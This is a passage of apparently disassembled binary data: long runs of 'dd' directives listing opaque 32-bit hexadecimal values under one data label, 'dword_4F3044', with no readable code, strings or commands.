50B82920h, 0AA205CCh, 0F5A56051h, 0A2C9C165h, 9E203ACh dd 9290B55h, 51AEA0AFh, 0B244668h, 49593627h, 27DA5DDh dd 0A42141ABh, 7895FAA6h, 0D53B73A9h, 7FEE255Ah, 0C07F44ABh dd 0B2B0DD16h, 4A51BFC0h, 6463D149h, 0CC67572Eh, 3106E9CEh dd 0F1D63FCAh, 1AB52455h, 0B6F6108Bh, 0E74B60Dh, 1928EF2Fh dd 50164890h, 0FC483281h, 0DA8F203Bh, 20A65B9Fh, 0AA55D0E3h dd 2610503Ch, 99A502Fh, 28383C12h, 0D2E8E1BAh, 1BBEC4B0h dd 23B06B09h, 5FF0321h, 75788915h, 73947682h, 0F8853624h dd 0EAC1496Eh, 2C61600Eh, 877EF134h, 8420130Ch, 0F3E1FF6Bh dd 62D56AE0h, 3A0F04BAh, 8C9CFF1Dh, 0B7B65B34h, 5FE9C200h dd 2879E831h, 733F2755h, 0EE04D6F8h, 7C511309h, 1AE898BBh dd 6DBAD94Eh, 3ABE40F1h, 764EEC18h, 0F0FBE534h, 0BBA97B3Ah dd 0EC763031h, 0DBC87C4Fh, 3FA1B297h, 22145647h, 5707593Ah dd 601A6F29h, 8B7315F1h, 0CE896B05h, 0AFF0C0E9h, 0C7800759h dd 0A0CFFE5Dh, 0B55108E7h, 0CD7D7278h, 0C5E65898h, 38E9B20Bh dd 6986C968h, 9F3AF6DCh, 0B33445DEh, 0FBA9AC2h, 2C7DF9C9h dd 9F8B9443h, 0DE53B58Bh, 40BC68C1h, 2FF2DD2Bh, 95EE39C8h dd 63C5DF74h, 0C6018B45h, 0A08EBBC2h, 5F92688Ch, 0B4173D1h dd 0D5F7EF87h, 55046D45h, 0C9A043E9h, 50CE3080h, 62686D06h dd 19DD52E7h, 0BD02005Ch, 0DCC47AFCh, 1F5302BCh, 0C1D55F68h dd 6C758515h, 2D008A6Fh, 40D8B59h, 7C8002E8h, 5C40787h dd 0E9C70925h, 511BD07Ah, 0F625F0B1h, 0F52BD0D9h, 9D3165F8h dd 0C142C173h, 0EA94DF0Eh, 0F9C2F4Dh, 0E5DEB31h, 0AFB893F5h dd 80AA2682h, 6DFE257Dh, 0C49682F8h, 0D27F9747h, 0A3D19E44h dd 8A520845h, 5402625Eh, 437D611Eh, 7569F82Eh, 830CC944h dd 90F9A74h, 2A3789CFh, 5F271183h, 0E825DB17h, 0E00B129Ch dd 72BF8434h, 24F6B595h, 5C27E020h, 0F1A4DC87h, 58CF020Ch dd 0B3532C18h, 28D10D5Fh, 72F82A20h, 60A45BCFh, 0B2297B2h dd 6C0200D3h, 0F51A6670h, 0E94EBB00h, 229709E3h, 5463D3CCh dd 953664CBh, 0C84C061Dh, 0CE079B0Bh, 30E24EB4h, 6A60F667h dd 3A213CC2h, 7626E9F7h, 162C4090h, 350B06F6h, 824A45D3h dd 7558C296h, 92D4DC0h, 0C7B9DB8h, 4048F85Ch, 0D00B0108h dd 4E614EE9h, 0F0978145h, 0FF2D0F97h, 1FA0C957h, 3A83412Bh dd 105058E2h, 0FB14D7E5h, 6827B780h, 297C20E0h, 9209B090h dd 577D5C1Dh, 3F171E20h, 1CC1365Ah, 0B592A27Ch, 1E54BC3Fh dd 304F641Ah, 0FB59A105h, 0D08B01D7h, 7E8B32FFh, 18ECFC7Bh dd 3A49173Dh, 0CA57B122h, 8D1088Bh, 544BD909h, 0E4789581h dd 70D3BD00h, 0EDC109D6h, 58D0658h, 0FFD8A63Fh, 2D618EFFh dd 25137B01h, 88AB5B48h, 976A4497h, 8B1BE9D4h, 77D69A1Fh dd 20C6079h, 7EC5BB83h, 8A9C5C82h, 52785E27h, 2709FD04h dd 0E3AF8976h, 85F07E5Eh, 23BC4B13h, 211704EFh, 81EA1399h dd 0F905C902h, 1ED6834h, 265C0FBDh, 3C705352h, 0DB1F145Bh dd 6E128138h, 0D399BC49h, 3F80FB08h, 0AF629416h, 1DE29D37h dd 85E1C8A5h, 8398955Ah, 14BF5342h, 57563F98h, 49C09F2Fh dd 304E8EB3h, 5B61B9A0h, 12ACD5E3h, 0AE07846Bh, 0C9E77FB8h dd 0CA0A2949h, 49EB51F7h, 9808082h, 53CCBA00h, 5A2CC564h dd 670EF2C2h, 5F09B640h, 92251C6Ch, 3B1448BAh, 0F03581B2h dd 6D0F9E6Ch, 40D8F7h, 8FB8A8ABh, 0E739C81h, 75A57E04h dd 0EBF94FFBh, 0C03F4AE4h, 1243C372h, 181F4C34h, 156F3C8h dd 44585BEh, 30F3293Ah, 0D69DF899h, 5C2D73A1h, 0C1D399A5h dd 89145F6Fh, 4ADDE7DFh, 59CCDD1Ah, 0FB80ECD2h, 0F214AEBh dd 20478F0Bh, 0A0A065Ah, 0F0D744E3h, 0DAC66680h, 1E0AAC8Ch dd 8C69F8EDh, 0C510CD29h, 4AE34282h, 3DA275FDh, 0EFA3D8C3h dd 66B22823h, 34D09161h, 0EBD5F17h, 6BD76F3Dh, 2783746Bh dd 0E6827A1h, 0BD8C7A59h, 8195F2E9h, 0C1D96B5Dh, 0C5ECC705h dd 0C45AA95Eh, 30AA0FD4h, 5721B060h, 66B8605Ah, 0A8A46950h dd 81612BA8h, 0A562C4BEh, 0DA2F177Fh, 5E4D2079h, 90F9CAB4h dd 0AE5A5AABh, 6798B805h, 0D2C4D4F8h, 0F74F03A0h, 0EC0440DFh dd 0EB2C7C4Eh, 94AC26Fh, 1D8735Dh, 0B973C5F3h, 13E4902Eh dd 0BCBB530Fh, 213E6C21h, 349D41D9h, 44B23A2Ah, 17326286h dd 7BC0F31Ch, 12FFED52h, 284E2D4Ah, 6A9D4B7Dh, 0BA6D853Bh dd 0DCAFF73Dh, 2754B8D6h, 4D593944h, 134E525h, 9079F568h dd 4DEC6E7Fh, 0F78687CFh, 769708D6h, 1E941B4h, 1FBC6AA0h dd 0ACD0EE91h, 0E8472705h, 9E35C008h, 0D2B56C0Eh, 18C9F0BFh dd 34525455h, 7C257711h, 0A08AF427h, 0E95E0908h, 285EA155h dd 0E3F95BF9h, 9643E02Ah, 0DBEEFE4Ah, 38E90E79h, 9FAE176Dh dd 0CB8F3F9Dh, 2E7ECAFBh, 640A0950h, 0F340B48Ch, 0F607A9C3h dd 73864DD5h, 2F0D6F50h, 2A142713h, 100943BFh, 5AA612B0h dd 8AC0AD84h, 0A0F124DBh, 13BCCDA7h, 0C0E7D79h, 51D98874h dd 924AB13Ch, 0C5E7B27Ah, 74C5B900h, 0FCE93ACEh, 0B13262B5h dd 27F05C19h, 3829234h, 256BCF81h, 0CE27B79h, 0C580F668h dd 0F5758D70h, 3FAED75h, 19B4144Bh, 2935B8F0h, 259B3D45h dd 0E4F60F72h, 5A42DF65h, 0D7821AE9h, 0AA8B8157h, 0E9847174h dd 0AFE5F009h, 667B07Ah, 2C853B1Dh, 7137EE80h, 2F6801F2h dd 7D666BB0h, 4323A501h, 0D2F74A3Dh, 28304E71h, 0EB3601ECh dd 0AFE94F0Dh, 0D8D7A92h, 2EA5F07Eh, 3EFCC4Ch, 0D0D8A3C2h dd 0CB984B0Bh, 6AA4586Fh, 0C42D21F1h, 6568174Ch, 0E193A907h dd 557867E9h, 70ECBB0Eh, 71001BE9h, 5DAB3EC5h, 7C009B9Eh dd 0EB0923FBh, 41934AE9h, 4D8DE5F5h, 4AF7413Fh, 90F26B20h dd 90C52A85h, 74D36876h dd 0BC280330h, 301519EAh, 48E031F7h, 916F3A0h, 0D4BFD589h dd 39AEEBCh, 3BA37A10h, 40AA2750h, 0D3D5F769h, 0C4121304h dd 0E5B7AB97h, 4174548Bh, 8940BF42h, 0CF9802B0h, 70F15CE5h dd 0ED056866h, 17B6E913h, 31BA7725h, 0F3FA8A46h, 83B8AAECh dd 8EC591A5h, 7AAC3B7Bh, 249D2A7h, 6F62755Eh, 0B580980h dd 0C04A4620h, 50B65246h, 302D49B5h, 0D282F7F5h, 5BCACA28h dd 94BFE87h, 0A877C77Dh, 41725AE5h, 203885C6h, 1ED4EC96h dd 0C2AC2DD2h, 0FC767106h, 682FE75Dh, 69485C1Fh, 0E712A579h dd 722CEAF0h, 3AC07038h, 0F07204F0h, 0FA61F65Ah, 0F7D8E0F1h dd 5526E9D0h, 1020AB9Fh, 8EBCDDDFh, 0F680FE59h, 0F8B353D2h dd 4129F795h, 325474E9h, 0A801D34Fh, 3FBF1073h, 1640CAF0h dd 0BE4CA24Bh, 91FEE1D4h, 26016D5Bh, 4EC84FCFh, 91925BC2h dd 0AFE183h, 532C685Ch, 573FCA4Bh, 0FA7CF897h, 21B43027h dd 24FA09B4h, 84CB3E3h, 90EDB25h, 0A04DEBD3h, 1548BBFAh dd 51522455h, 6E80388Ah, 0E95A2BB0h, 24C0F6E2h, 0A47A78BDh dd 0EBBE906Bh, 427C0DAFh, 96E5311Ch, 1ECD5C10h, 0F9641614h dd 0FF4C1181h, 8F4245Dh, 5C295917h, 114103A3h, 982CAC7Fh dd 2E6FA272h, 2C36E1Bh, 14695BC4h, 483DA4C0h, 1854A430h dd 4B1F7CDBh, 1818A9D2h, 5B7A5E82h, 8E504C0h, 828EF580h dd 920C6486h, 27E6A3h, 56E18139h, 495B761Ch, 75A59BA0h dd 5622C32Fh, 0F1813CCBh, 4D789263h, 0E4582109h, 5E2C79E6h dd 3C82CD69h, 0FD25D527h, 0BB985D70h, 16BDABF4h, 9EADFB0Bh dd 1C35F7A0h, 209D4961h, 5C184632h, 0E732C051h, 2942DE5Dh dd 23070BDh, 2DC150Dh, 94C0E3C1h, 879C122Ch, 0EC554F86h dd 0AD1F27FAh, 63270B46h, 164BAA68h, 0CC37208h, 0AA8F201h dd 66F8FD41h, 55FC24BFh, 5D8108EDh, 7372F62Fh, 0F51BEE8h dd 0CC9E639Fh, 20F69FA0h, 0CE181A7Fh, 0E7150686h, 9C29C66Bh dd 0F03F54B4h, 0C701045Eh, 0E2B93BE9h, 2BCB85Ah, 3F6F2DC8h dd 26C2D5DCh, 133DECD5h, 0FB79E9D0h, 99FFFD16h, 0C05E3D4Ah dd 5D0113BFh, 2D69B051h, 0D2D19B88h, 7F16884h, 226CEEBh dd 6F10F8C5h, 638CC07Eh, 961BF41Fh, 146D28B4h, 3537D768h dd 0E9091290h, 0F155A8BEh, 672D8CCAh, 0D1244B2Ch, 92528E3h dd 726A6CE2h, 1E4717EFh, 40E8E925h, 16975D08h, 0AA264E59h dd 0F2E03789h, 0B956C76Bh, 90A9E440h, 56D9C464h, 0CF01B616h dd 844127FEh, 52D8FB1Fh, 4B169029h, 0E597BE5Dh, 0E1910E39h dd 21174314h, 5EE8BC2Bh, 0FC0350C0h, 9FEF77BFh, 68130CE4h dd 5DBD4930h, 96199080h, 0EB008107h, 15403EF4h, 5AFEE943h dd 0E4E8BC05h, 52EFE6AEh, 0E652C93Eh, 0A1DF957Bh, 8A7EE9B2h dd 8E15781h, 407CEF58h, 0F523BF83h, 4B89E326h, 468AC289h dd 7A3125DBh, 559EA7Eh, 0EA1EC7Ah, 975C59B9h, 6750CBACh dd 696F0BC9h, 8878A1E9h, 0F84F6842h, 7EC1A076h, 4CFA2C0Fh dd 0BE560A61h, 977C2F08h, 5E2BFB09h, 5DB4892Ah, 27292D30h dd 5838B162h, 6853A78Bh, 9C3962A5h, 978A722h, 14D466Eh dd 22DCB3A8h, 0BAA2950Ah, 0CDC15F5Bh, 0BF63F2Dh, 7D5E699h dd 0BF72D6B7h, 1364870h, 74251764h, 515D0381h, 42AA1441h dd 959D78h, 0BE274A02h, 0C7962E5Ch, 1E510B09h, 46CFA97Eh dd 7432C669h, 0C0010C80h, 8C0C08E6h, 0F6F00481h, 0F0282D32h dd 60F137E6h, 0E918F2DDh, 0CFFD5889h, 0B7461D61h, 0BFE78112h dd 37BD350h, 5034BFFh, 0EF9FCFC6h, 0AE3ADA9Dh, 0C640CE2Dh dd 60544969h, 78CA0C10h, 0F2BF63DDh, 0EA314ABAh, 0AC13BE44h dd 0E95256D3h, 36628457h, 4E17AE4Eh, 5B8506ECh, 5FAD0B56h dd 6FEB40C9h, 0B77678B2h, 0BAB084DAh, 1ED9954Dh, 2A1858C2h dd 6EC3809Dh, 0C99FA94h, 64456E18h, 0B4E88BB8h, 0DC2CBB93h dd 0F0E99FE9h, 7B696129h, 0FE4A73ACh, 0E916188Eh, 0BFA95278h dd 3C60A3F5h, 94E6B70Ch, 0FE8D682Dh, 800569C3h, 3FA9A1E7h dd 0F05A1FB2h, 0DEA1620h, 14346F4Fh, 86C5D409h, 4A3A30B3h dd 1328F329h, 88FE6977h, 0DE97C3AEh, 27932095h, 0ADF45464h dd 9D5453D8h, 68506418h, 8A1B1800h, 48405829h, 66820035h dd 962D3B54h, 1233DE7Dh, 0A4B6E801h, 6C52105h, 8A7960C1h dd 161BB81Ch, 2D356983h, 7D63E217h, 18C2374Ah, 3B3F4CBh dd 0AD02063Dh, 5F9C5221h, 0EC9257EAh, 4F3106C7h, 0F40C08EBh dd 3CEE090Fh, 0FB635257h, 0ECD5380h, 254B4C9Dh, 3BE6F868h dd 0EF0A5379h, 0B3697815h, 1CBE301h, 9A30282Eh, 300B2FABh dd 74DFD5D8h, 69533BC2h, 0F5A6802Ch, 260EAD51h, 2E37D889h dd 57B9019Eh, 20017B70h, 471679F2h, 0D2BB0E5Fh, 7729C3h dd 6378970Dh, 0D8529751h, 0C2A0574Bh, 0B6559DD8h, 0AB759DA3h dd 0FD2CD554h, 72FE908h, 3B9655CFh, 715B10FCh, 3F3D9EE3h dd 64070F2Dh, 8D7690BDh, 2616BB2Dh, 0CCA4A196h, 58C30131h dd 0D1E9DF09h, 40D12B47h, 7638A242h, 0B8D109D3h, 0C0C2BAFFh dd 52997B2h, 0C4E9192Bh, 0AF35EB64h, 0D5C7B382h, 505E152h dd 7F091A22h, 65A5AD1h, 8F1CC3Bh, 90604941h, 58B515E2h dd 1169C31h, 0A19009FAh, 0A625307Fh, 0F2818827h, 0F528D205h dd 0EC01422Ch, 41376FAFh, 1BEEA485h, 0D0F381BEh, 475224A9h dd 2DE5409h, 3257040h, 0A2681325h, 0F7C0D177h, 7F0105D0h dd 0E910E8A4h, 0C326D1Fh, 0BFEBFB50h, 43903368h, 0AD1D603Dh dd 5C8505ABh, 0EA2664BEh, 0E22CD6F1h, 0D15E3862h, 3A0B8050h dd 0D44C0699h, 10507EDh, 460FFB6Eh, 4072D0Ah, 0E8E88DE9h dd 541B8023h, 3813B75h, 0E24DEACAh, 899C11Dh, 347B7142h dd 0D4BF2D35h, 0DAE0D08Ah, 7313F782h, 3D2D1h, 5B83CF87h dd 54E2A0C7h, 0B46BF803h, 185C76E9h, 4D8F734h, 9F72F52Dh dd 0B1E1DB5Bh, 0D62BF83Fh, 0BE5EBAECh, 0A7326979h, 5FE72510h dd 0B7D8A9F0h, 0E95B1AFCh, 0D03A7795h, 0D47A9C02h, 0D6BB4E0Eh dd 0E9C622C3h, 12717640h, 9880B258h, 4EE56813h, 564BD867h dd 1F694497h, 56A72C5Ch, 0BAA61DA8h, 0C860F176h, 0F92B9568h dd 0A2081EC8h, 44CCA29Dh, 22205D7Dh, 4C15AA0h, 83F90120h dd 180AE908h, 720BF46Dh, 0CD01102h, 9465870Ch, 96AEE20h dd 535AB30Ch, 5B0B9470h, 7703EBC1h, 2BB00619h, 0C8280E00h dd 4A2C1004h, 0AF6716FAh, 7F01173Dh, 0A773579Fh, 6D5B2F78h dd 0D5355F66h, 4D81E983h, 0A26F7FDDh, 41EA93D7h, 0B0651D71h dd 56C43A7Ch, 87080716h, 207B28B2h, 779DBB4Fh, 0ECBE5602h dd 30E302C9h, 133AF3EDh, 0C4CB017h, 5098686Dh, 1A838A3Eh dd 2A1CD21Bh, 0E4D401F7h, 3D60DE6Fh, 0EDC490EBh, 0D20F7C06h dd 0BD36057Ah, 0F91C579Ah, 5FDBAF47h, 0A88E2009h, 5927991Ch dd 0E1E9E20Eh, 4A584A70h, 0E60F074Dh, 49CF0155h, 0FAE0E995h dd 5A688A24h, 810B35C6h, 0AF58CE76h, 49B3DB1Ch, 1562E391h dd 68E47280h, 8706502Ch, 297117BDh, 0A100AAECh, 0FB34FE2Dh dd 0EF88B56Eh, 0E95D0F07h, 0C741FFF7h, 12C822EDh, 974778F6h dd 761EAE57h, 2DF3C108h, 768702F7h, 8299516Dh, 705A48ACh dd 4FFBC080h, 5BB540B4h, 0C0EB12FFh, 8F53785Eh, 0E6E92E0Bh dd 939C5F36h, 0DB52D394h, 0BF0F047Fh, 9654E2C8h, 6E999204h dd 0E01685B9h, 894E25Bh, 3E375968h, 0E11B16B5h, 50BAE1D0h dd 2E8368CEh, 52C9B9A6h, 0B4DCA00Fh, 0EECC03Fh, 90CC8002h dd 20ECA87Dh, 0FCC067D1h dword_4F3044 dd 6215764Fh, 2FEC043h, 9F0F84Ah, 4045C4A1h, 0B9C4A6B3h dd 44CF748h, 34C05F58h, 0F49A5CBFh, 0F60B1236h, 0E4426FCDh dd 65BE02C5h, 68F6BB21h, 1D98E810h, 89E78745h, 587076BBh dd 65BFA0A3h, 11E00C29h, 0FAB5D027h, 63CC095Bh, 0D7054867h dd 0E90702F6h, 0D87C6A45h, 6C318049h, 9025F365h, 24EC7F7Ch dd 13E57D30h, 7CA3C91Bh, 20DD480Dh, 2DAC76DFh, 0BCFA4ACFh dd 0FFA74B2Fh, 6F3FA39Eh, 0E5B7FF53h, 2788839Fh, 0A6302D75h dd 0D3E90D8Ch, 0F759957Dh, 25E9D36Bh, 0EBA049DBh, 5BB10497h dd 90DA6CB2h, 5AD1455h, 9568F1F7h, 52A75E71h, 0AE37D68Dh dd 513948BDh, 40BC0BB9h, 2D61743h, 10108313h, 56FC1FA2h dd 2D0971DEh, 80EDC73Eh, 2A44205Ah, 731356B9h, 0A88257CBh dd 83636041h, 0AED4BDF4h, 7FEE1062h, 0AA8CF573h, 2D680A9Ah dd 48532597h, 0F268E7ECh, 9598BF31h, 11C04F9Dh, 0B355DE8h dd 104C1C66h, 3A896E48h, 840E097Ah, 1D40A78Ah, 0A809CB81h dd 81749B23h, 10BEF0Ah, 2FE943E0h, 92D9FE59h, 104BE800h dd 0BB505FBh, 11A1D0Ah, 8236ECD7h, 0EB87C0Dh, 0C8B2DBE9h dd 0CA72889Ch, 6C9787EAh, 2171B55Fh, 7A79F55Ah, 465951E9h dd 9F907C54h, 0CB4E14CEh, 0FE34230Bh, 9C5EE9CAh, 2179429h dd 8BF7F8A7h, 0BB62A5A1h, 6E0CBF02h, 6620D54Bh, 44196856h dd 5E539207h, 0CB3FF309h, 6C96D5DBh, 260BDD4Fh, 6AA00352h dd 0FD653478h, 5BC8FEE0h, 1C97541Ah, 4B6B3EBEh, 0F9C6324h dd 37400D41h, 875EF529h, 0B6DEC9E7h, 4B10088Ah, 7541AA45h dd 5DD66014h, 4942BB2Fh, 8210F639h, 874385h, 2DB56855h dd 24C062F0h, 0AB4AA3C5h, 8289BDA1h, 1C4E6077h, 1B4795FAh dd 6A045112h, 68026E16h, 864C4E3Dh, 0A064960Ah, 0CB818C01h dd 185055EFh, 45540C82h, 0C0017FF9h, 4C60B20Ch, 68A209E3h dd 32017343h, 601F1B98h, 0A8B1D349h, 434FED01h, 0BDEC1654h dd 6F3A9AF2h, 91499FFAh, 0B92583F8h, 0BF06D8D1h, 0BDE4FB8Bh dd 0B738AB20h, 90645AD8h, 66B52D0Ch, 0BFB11360h, 68C2F0F6h dd 95A2F780h, 9E7D9C1Ah, 637420BFh, 72B85002h, 7D21C575h dd 56F295C3h, 46FE156h, 2CF34288h, 5A630E50h, 72B3A43Dh dd 4F349F56h, 4BDA4FF0h, 0AAB5252Ch, 9E3B9EA1h, 5D541189h dd 60A4578Dh, 6F74D828h, 6817D62Dh, 0C4730E13h, 0FF07B3ABh dd 0D0653D67h, 425FBA21h, 0EC94687h, 89F76986h, 0C13E7476h dd 3B5F97C7h, 0FBAA0h, 0D620824h, 211C4C86h, 9F7B89F4h dd 0FF2F08B0h, 0DF2B1AF6h, 68C208D1h, 0EEC6A97Bh, 2AE92A63h dd 435D2DFFh, 553C21DDh, 3E306852h, 5A192DF8h, 8700B562h dd 54A179D0h, 0E3947992h, 7342CF1Eh, 0F44F712Dh, 0B39801A0h dd 22F931C4h, 0C81A1033h, 202E0924h, 2ABE0B82h, 40D56E7Eh dd 0E1574B73h, 9275BD2Fh, 0FECFD792h, 1D5D2F14h, 0EC5C931Ch dd 11ED056Eh, 5D803D75h, 191D4B5Bh, 0EF65E9E8h, 459DC28h dd 51662A02h, 4631FD68h, 0F5B312CBh, 1C06F350h, 4BBCDD88h dd 0E9CD31BAh, 2127E13h, 12A9E7FBh, 6F904F79h, 7BB06405h dd 862B2576h, 0BF011966h, 1FC915B6h, 0AD60D7F7h, 0C667108Fh dd 34A85B6Fh, 83200F1Eh, 0D5E4E927h, 5AC75502h, 0F7E52D4Fh dd 0D0A89725h, 725268F4h, 2641DBCh, 5C1730EAh, 1343ED7h dd 8109AFBh, 214C89DAh, 7C9A6871h, 180B316Ah, 0E5D92AAFh dd 8EE9042Bh, 605F141Bh, 5A1737C0h, 2817E78h, 1C8AE3D0h dd 6DC1C831h, 0DE5D8816h, 84D4257Fh, 2F9EFC4Bh, 44B16FC1h dd 0C0F2BAC6h, 76130893h, 162F92Dh, 0EEC08DB6h, 3B6EFD05h dd 2B711A17h, 718893F5h, 0B1014EAEh, 66CF3046h, 0CC75ED2Ah dd 2568E9F6h, 6BC876D4h, 30E101B1h, 5D900290h, 28A23AFBh dd 135784C4h, 0CD2038A3h, 0E91354A6h, 0A0EC9B38h, 109786C6h dd 0AEF0083Fh, 7DAF80E2h, 5C484B9Ch, 27D01959h, 0C43FA575h dd 70E9BE8Eh, 8C0BECC8h, 49F55A35h, 0A5820D7Ch, 3B546A7Eh dd 0BE256602h, 3E2E4011h, 1D790543h, 99497E68h, 8040F8B7h dd 0D4466425h, 36DC257Fh, 79DE2962h, 84361512h, 0B6ACB23Ah dd 0DE65081Ah, 5685C02h, 0C1B8461Ah, 0E70FEFD0h, 62922F21h dd 81B1FCD5h, 0BCFC32C3h, 453020BEh, 1AEE6317h, 0D9284A0Ch dd 0B53D7097h, 905A5276h, 825485D5h, 4F24487Fh, 0A86FE170h dd 30E9AC4Eh, 58105BFDh, 4F380540h, 0D670289Dh, 91F4924Eh dd 0DB54138Ch, 0B166F838h, 0AD8989B0h, 94DF5ADAh, 21585ED7h dd 2B272CC8h, 0BD01C2DCh, 64339080h, 4D5C23D5h, 7572652h dd 5342F281h, 0DB317B09h, 0F22A7C09h, 7C45F2Eh, 82D3B7FAh dd 0FD02BE56h, 7661E49Ah, 667724DCh, 2F2ADB98h, 6FB0503Bh dd 0D95BF727h, 789C4377h, 0AAA6FA84h, 7C45A14Fh, 0C1818063h dd 7BC66883h, 6D64274Eh, 0A66F40F9h, 2DEF85EDh, 0FB7E9AC6h dd 49ADDC2Dh, 0EDF5CC42h, 0F1E98B5Ah, 31582EA9h, 46122D7Ah dd 44E85DAEh, 0F66A51A9h, 0DE31017Dh, 8C65F24Bh, 8FC8AE5Eh dd 13964E68h, 0DE8AEA47h, 8274D4D4h, 59B0075h, 0FC6DB144h dd 0AFC54A01h, 0E33A7629h, 29660B5Ah, 0E7DC86F8h, 1FC095E5h dd 0C2822098h, 4D605DEEh, 9D2479CCh, 0C5271362h, 37E98D98h dd 913847E9h, 20646701h, 6282DBA0h, 0E8FB42AFh, 25685090h dd 0E6193D53h, 7F612591h, 0F2FB4265h, 60BBB47Ch, 7E06B9B6h dd 7E339F2Eh, 58258810h, 6878DE74h, 5B2958B7h, 9AB652C0h dd 9BD4FE9h, 52165F5Dh, 4768E480h, 1031195Bh, 0E9016F0Dh dd 705D3FBFh, 4D6B1E82h, 2C205C79h, 8AFD0269h, 0E1FF2B71h dd 0C43EC5D5h, 6A63AEEDh, 57F2EA5Eh, 2066A0F4h, 0BD664A57h dd 95308407h, 78C8AB12h, 14C06017h, 6461DBB9h, 1CB53B5Ah dd 6CEEC004h, 265DE939h, 52661650h, 1612FFFCh, 54FE334h dd 4277759Dh, 5AA8EFC6h, 8727E5C5h, 0DE465FE0h, 0A16DC3CBh dd 518E8A04h, 472CE01h, 0A33EF2C7h, 25F54CA9h, 4E775AEEh dd 3E9FB975h, 9073AC74h, 68B1B881h, 102A5FC0h, 0F10DAF93h dd 3A5A8C4Fh, 6008EF10h, 0F0729F88h, 83F0B561h, 69F3E918h dd 0EED8F648h, 56095D99h, 0A96EB485h, 2F5BD444h, 59A7E292h dd 6102C4A2h, 6971285Ch, 41E20460h, 0B7164077h, 0FD5A8857h dd 0FF50F0C1h, 7EA8100h, 59855E1Ch, 2E2C144h, 17FDB3AAh dd 24BAD6A3h, 0C4E4BA0Bh, 0FBE70481h, 0E8768802h, 0BA5B02EEh dd 55DF0149h, 75C08691h, 0A9A26AFDh, 0F09121D2h, 0CB012205h dd 184990B2h, 78C85C34h, 29350A7Bh, 4B47297h, 0C1CF279Ch dd 65E5A4CAh, 2EA5BDE5h, 847CF53h, 4686498Eh, 2D567AD8h dd 45E87A9Fh, 692E534Ch, 36022870h, 40413C0Fh, 250CE9E2h dd 0E67873D2h, 0C4ACB4Dh, 628E180h, 79F1EC68h, 9586B85Dh dd 0EEFECF70h, 562C6213h, 6C92D7E1h, 2E72B11Eh, 515000D1h dd 3151CD28h, 4F25BD6Bh, 0E98707E3h, 4820DC7Dh, 0D7740FB0h dd 0C09D3FF6h, 4CFC68D3h, 0D0D8D84Dh, 0BC325BE9h, 30BFA3Ch dd 19D9F929h, 0D63B395Eh, 0B20C0AA9h, 0E634C977h, 0D7389958h dd 0C74CE0B6h, 9A88444Bh, 0E3880793h, 0D5B9AD72h, 50AE7C59h dd 0CD917AC2h, 0A154252Bh, 0E4AAA512h, 3E652CABh, 0F5F0C939h dd 0B25D9729h, 64965F65h, 6AD2B855h, 31825587h, 0EAC65B7Fh dd 42DA4B9Ch, 0EC32600Bh, 0F6BA771Bh, 0B6530C0Bh, 9624E0Eh dd 120BFA2Ch, 0F999F4E9h, 0A2F35A85h, 3AD7497Dh, 5C7402Eh dd 5DDD80h, 108CC3BFh dd 7A9D7013h, 5808818Ch, 0CB25D83Bh, 0E9001C81h, 10B1C6E8h dd 0BA0AD249h, 295D126Fh, 0FEB8356Ch, 56294BA7h, 0F1F12832h dd 4AD7C112h, 481DF2Fh, 30693861h, 0F3C4010h, 3784DE5h dd 297AB810h, 82840D1h, 9F3826E9h, 0A8CD8433h, 60678716h dd 2CEF86EDh, 1E05E85Bh, 68AB5B59h, 5465CE4Ch, 0DFF17999h dd 0E2053460h, 4FC8FC0Ch, 0FEDB172Ah, 5F8163CAh, 8A0F8D68h dd 1B4D3B51h, 0F6F47ACFh, 0DC6652ACh, 9D4E382h, 1B98552Dh dd 0F32BAEDh, 77C5E22Eh, 44A0BA58h, 594A39E9h, 0BAA48EA2h dd 9E51CACh, 0AD4E3DC9h, 4F69681Ch, 42BA7D2Dh, 269485Eh dd 55D6D03Fh, 58C3F5B8h, 697EF997h, 8D1A4251h, 0D88E399Ah dd 4AF7A364h, 9124BFD9h, 0C0E8B984h, 36FD5B25h, 9D5EA44Bh dd 0D0C04976h, 84067760h, 39C10882h, 0E1D350B6h, 373026F5h dd 45C97C57h, 291F03A4h, 4813E9CDh, 0C8BF4C24h, 897C884Fh dd 0FEFE3CF3h, 95B33741h, 5E97F07Fh, 0BA2E04BEh, 311EE418h dd 0F52495D1h, 0AC27D4FBh, 5B931C2Eh, 0B10BAE2Ch, 48000519h dd 0E420C7D9h, 0BF52829Fh, 0E3759A30h, 3D7449E3h, 14A72134h dd 812C7487h, 0F004D028h, 6A0EB551h, 612DC580h, 0CDFE36F5h dd 0D6964470h, 0BEC9E016h, 9FCCE8E0h, 974F6059h, 0F4E51551h dd 0EA3BB2CEh, 3B32277Eh, 53828771h, 8F80E4B3h, 9A28E4DDh dd 4A7CE3EAh, 0E9F0DCA9h, 12955601h, 6146844Bh, 64E0F7CDh dd 0B75BB5Dh, 0B5A2E22Ah, 8FFF6DF6h, 0E3FD7370h, 0FA5F5C13h dd 60549A97h, 6969CBA7h, 1E205BE4h, 5300BD46h, 0AFBE56F3h dd 387F3672h, 2681A72Eh, 81FED6A5h, 0C1277805h, 0DFE2F7Ch dd 0D97B6197h, 2F33C72h, 5FBF392Dh, 0CC0B55A5h, 0C632A75Fh dd 6AF78962h, 0D3C45F21h, 0F2B7D97h, 0CB053F74h, 22C21E32h dd 69D07439h, 4F0B2956h, 42D1D997h, 44838915h, 0C5A45B4h dd 5B9E10A0h, 0CCB2AC28h, 0BBA1FA5h, 3B8D54BBh, 68F91055h dd 0E8035A2Dh, 3442C673h, 744E2063h, 0BAD53128h, 0B684365Bh dd 0A6AB3BBh, 21477A68h, 87351ADh, 532882C5h, 0D5F64E1Eh dd 7287B78Bh, 0ED025B93h, 37C0849Eh, 315B5A01h, 31FF2BC8h dd 8073EEh, 966552Ch, 7D0F685Bh, 55571531h, 76F6F989h dd 0E750E241h, 25D8BED6h, 588289A5h, 0F7D1AC88h, 0BF6D9A5h dd 0A2297B9Bh, 8B7E7E09h, 18F568C0h, 0C0277D50h, 354D3E56h dd 42ED0103h, 0E3A53820h, 692CAE89h, 14E0002Dh, 8825790Ch dd 47074B7Bh, 22350D40h, 38530A4h, 387B5FB1h, 6741DA47h dd 0BB2D173Eh, 0B0BA5952h, 0A9BDE180h, 9C3A4380h, 0DBF4B1BAh dd 711A0DF8h, 70F3E6A0h, 0EEF9E895h, 506604D1h, 0BB207CB0h dd 910B8C6h, 88B3B652h, 0B737B922h, 5417CDDAh, 8401D274h dd 291351EFh, 651FC1E2h, 0B2BE85C3h, 0A883B422h, 5F31EF05h dd 64BA6849h, 96D5AFADh, 0BE562129h, 